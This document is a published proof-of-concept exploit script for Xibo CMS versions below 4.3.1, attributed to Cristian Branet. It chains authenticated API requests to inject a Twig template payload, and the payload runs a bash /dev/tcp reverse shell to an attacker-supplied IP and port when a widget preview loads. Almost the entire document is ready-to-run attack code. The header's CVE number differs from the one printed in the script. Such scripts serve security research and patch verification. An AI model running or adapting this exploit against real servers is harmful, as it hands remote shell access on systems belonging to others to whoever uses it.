Xibo CMS 4.3.0 - RCE via SSTI

# Exploit Title: Xibo CMS - Authenticated Remote Code Execution via SSTI
# Date: 2025-11-04
# Exploit Author: Cristian Branet
# Vendor Homepage: https://xibosignage.com/
# Software Link: https://github.com/xibosignage/xibo-cms/
# Version: < 4.3.1
# Tested on: Linux (Ubuntu 22.04)
# CVE : CVE-2025-62639
# Article: https://cristibtz.github.io/posts/CVE-2025-62369/

import requests, argparse, pyfiglet, re, json, time

parser = argparse.ArgumentParser(description="This script exploits CVE-2025-62369 in Xibo CMS to get a reverse shell.", formatter_class=argparse.ArgumentDefaultsHelpFormatter)
parser.add_argument("-u", "--url", required=True, help="Xibo CMS server URL (e.g., http://localhost)")
parser.add_argument("-s", "--session-key", required=True, help="Use the PHPSESSID")
parser.add_argument("-i", "--ip", required=True, help="IP address for reverse shell")
parser.add_argument("-p", "--port", required=True, help="Port for reverse shell")

class Exploit:
    
    def __init__(self, url, session, ip, port):
        self.url = url
        self.session = session
        self.ip = ip
        self.port = port
        self.headers = {
            "Cookie": f"PHPSESSID={session}",
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36"
        }

    def get_xsrf_token(self):

        try:            
            response = requests.get(f"{url}/statusdashboard", headers=self.headers)
        except Exception as e:
            print(f"Error connecting to {url}: {e}")
            exit(1)

        text = response.text

        pattern = r'name="token" content="([a-f0-9]+)"'
        
        try:
            xsrf_token = re.search(pattern, text).group(1)
        except Exception as e:
            print(f"Error extracting XSRF token: {e}")
            exit(1)

        return xsrf_token

    def create_module_template(self, xsrf_token):

        timestamp = int(time.time())

        headers = {
            "Cookie": f"PHPSESSID={session}",
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36",
            "X-XSRF-TOKEN": f"{xsrf_token}",
            "X-Requested-With": "XMLHttpRequest"
        }

        data = {
            "templateId": f"exploit_poc_{timestamp}", 
            "title": "Template for PoC",
            "dataType": "article",
            "copyTemplateId": "",
            "showIn": "layout"
        }    

        try:
            response = requests.post(f"{self.url}/developer/template", data=data, headers=headers)
        except Exception as e:
            print(f"Error creating module template: {e}")
            exit(1)

        response_info = json.loads(response.text)

        template_id = response_info["id"]

        return template_id, timestamp, f"exploit_poc_{timestamp}"


    def update_module_template(self, xsrf_token, template_id, name):

        headers = {
            "Cookie": f"PHPSESSID={session}",
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36",
            "X-XSRF-TOKEN": f"{xsrf_token}",
            "X-Requested-With": "XMLHttpRequest"
        }

        data = {
            "templateId":f"{name}",
            "title": f"Template for PoC - {name}",
            "dataType": "article",
            "showIn": "layout",
            "enabled": "on",
            "developer-template-properties": [],
            "properties": [],
            "twig": '<div style="background: red; color: white; font-size: 24px; padding: 20px;">Command Execution: {{["' + f"bash -c 'bash -i >& /dev/tcp/{ip}/{port} 0>&1'" + '"]|filter(\'system\')}} <br></div>',
            "hbs": "",
            "style": "",
            "head": "",
            "onTemplateRender": "",
            "onTemplateVisible": "",
            "isInvalidateWidget": "on"
        }    

        try:
            response = requests.put(f"{self.url}/developer/template/{template_id}", data=data, headers=headers)
        except Exception as e:
            print(f"Error updating module template: {e}")
            exit(1)

        response_info = json.loads(response.text)

        return response_info["success"]

    def create_normal_template(self, xsrf_token):

        timestamp = int(time.time())

        headers = {
            "Cookie": f"PHPSESSID={session}",
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36",
            "X-XSRF-TOKEN": f"{xsrf_token}",
            "X-Requested-With": "XMLHttpRequest"
        }

        data = {
            "folderId": 1,
            "name": f"exploit_poc_template_{timestamp}",
            "tags": "",
            "tagValueInput": "",
            "resolutionId": 1,
            "description": "Exploit template"
        }    

        try:
            response = requests.post(f"{self.url}/template", data=data, headers=headers)
        except Exception as e:
            print(f"Error creating normal template: {e}")
            exit(1)

        response_info = json.loads(response.text)

        template_id = response_info["id"]
        layout_id = response_info["data"]["layoutId"]
        region_id = response_info["data"]["regions"][0]["regionId"]
        playlist_id = response_info["data"]["regions"][0]["regionPlaylist"]["playlistId"]

        return template_id, layout_id, region_id, playlist_id

    def add_rss_widget(self, xsrf_token, playlist_id, name):
        
        headers = {
            "Cookie": f"PHPSESSID={session}",
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36",
            "X-XSRF-TOKEN": f"{xsrf_token}",
            "X-Requested-With": "XMLHttpRequest"
        }

        data = {
            "templateId": f"{name}",
        }

        try:
            response = requests.post(f"{url}/playlist/widget/rss-ticker/{str(int(playlist_id) + 1)}", data=data, headers=headers)
        except Exception as e:
            print(f"Error adding RSS widget: {e}")
            exit(1)
    
        response_info = json.loads(response.text)

        widget_id = response_info["id"]

        return widget_id

    def preview_rss_widget(self, xsrf_token, widget_id, playlist_id):
        
        headers = {
            "Cookie": f"PHPSESSID={session}",
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36",
            "X-XSRF-TOKEN": f"{xsrf_token}",
            "X-Requested-With": "XMLHttpRequest"
        }

        try:
            response = requests.get(f"{url}/playlist/widget/resource/{str(int(playlist_id) + 1)}/{widget_id}?preview=1&isEditor=1", headers=headers)
        except Exception as e:
            print(f"Error previewing RSS widget: {e}")
            exit(1)

        return response.status_code

if __name__=="__main__":
    print("\n")
    print(pyfiglet.figlet_format("CVE-2025-62369 PoC", font="small", width=100))
    print("Author: Cristian Branet")
    print("GitHub: github.com/cristibtz")
    print("Description: This script exploits CVE-2025-62369 in Xibo CMS to get a reverse shell.")
    print("\n")

    args = parser.parse_args()
    url = args.url
    session = args.session_key
    ip = args.ip
    port = args.port

    xibo_exploit = Exploit(url, session, ip, port)

    try:
        xsrf_token = xibo_exploit.get_xsrf_token()
    except Exception as e:
        print(f"Error getting XSRF token: {e}")
        exit(1)
    
    print("Retrieved XSRF token: ")
    print(xsrf_token)

    try:
        module_template_id, creation_time, name = xibo_exploit.create_module_template(xsrf_token)
    except Exception as e:
        print(f"Error creating module template: {e}")
        exit(1)

    print(f"Created module template with id: {module_template_id} with name: {name}")

    try:
        update_success = xibo_exploit.update_module_template(xsrf_token, module_template_id, name)
    except Exception as e:
        print(f"Error updating module template: {e}")
        exit(1)

    print(f"Updated module template with success: {update_success}")

    print("Creating normal template...")

    try:
        normal_template_id, layout_id, region_id, playlist_id = xibo_exploit.create_normal_template(xsrf_token)
    except Exception as e:
        print(f"Error creating normal template: {e}")
        exit(1)
    
    print("Created normal template with: ")

    print(f"Normal Template ID: {normal_template_id}")
    print(f"Layout ID: {layout_id}")
    print(f"Region ID: {region_id}")
    print(f"Playlist ID: {playlist_id}")

    print("Adding RSS widget to playlist...")

    try:
        widget_id = xibo_exploit.add_rss_widget(xsrf_token, playlist_id, name)
    except Exception as e:
        print(f"Error adding RSS widget: {e}")
        exit(1)

    print(f"Added RSS widget with ID: {widget_id}")

    print("Previewing RSS widget to trigger the exploit...")

    try:
        status_code = xibo_exploit.preview_rss_widget(xsrf_token, widget_id, playlist_id)
    except Exception as e:
        print(f"Error previewing RSS widget: {e}")
        exit(1)

    if status_code == 200:
        print("Exploit triggered successfully! Check your listener for a reverse shell.")
    else:
        print("Failed to trigger the exploit.")